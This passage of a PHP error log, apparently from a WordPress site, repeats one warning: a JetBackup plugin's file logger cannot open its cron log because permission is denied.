fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:33:01 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:33:13 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:33:22 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:33:31 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:33:42 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:33:52 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:34:02 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:34:12 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:34:23 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:34:33 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:34:43 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:34:52 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:35:04 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:35:14 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:35:24 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:35:33 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:35:42 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:35:52 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:36:03 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:36:12 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:36:22 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:36:32 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:36:42 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:36:52 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:37:01 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:37:12 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:37:22 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:37:32 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:37:42 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:37:52 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:38:04 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:38:12 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:38:22 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:38:32 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:38:42 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:38:52 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:39:05 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:39:15 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:39:22 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:02:42 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:02:52 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:03:02 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:03:11 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:03:20 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:03:33 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:03:40 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:03:53 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:04:04 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:04:10 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:04:21 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:04:31 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:04:40 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:04:50 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:05:01 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:05:14 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:05:21 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:05:44 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:05:50 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:05:57 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:06:06 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:06:15 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:06:25 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:06:35 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:06:45 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:06:55 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:07:08 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:07:16 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:07:24 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:07:36 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:07:45 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:07:55 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:08:08 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:08:14 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:08:24 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:08:35 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:08:45 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:08:55 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:09:06 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:09:16 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:09:25 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:09:35 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:09:44 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:09:55 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:10:08 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:10:17 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:10:27 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:10:37 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:10:44 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:10:54 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:11:07 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:11:15 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:11:25 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:11:34 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:11:45 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:11:56 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:12:08 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:12:14 UTC] PHP Warning: 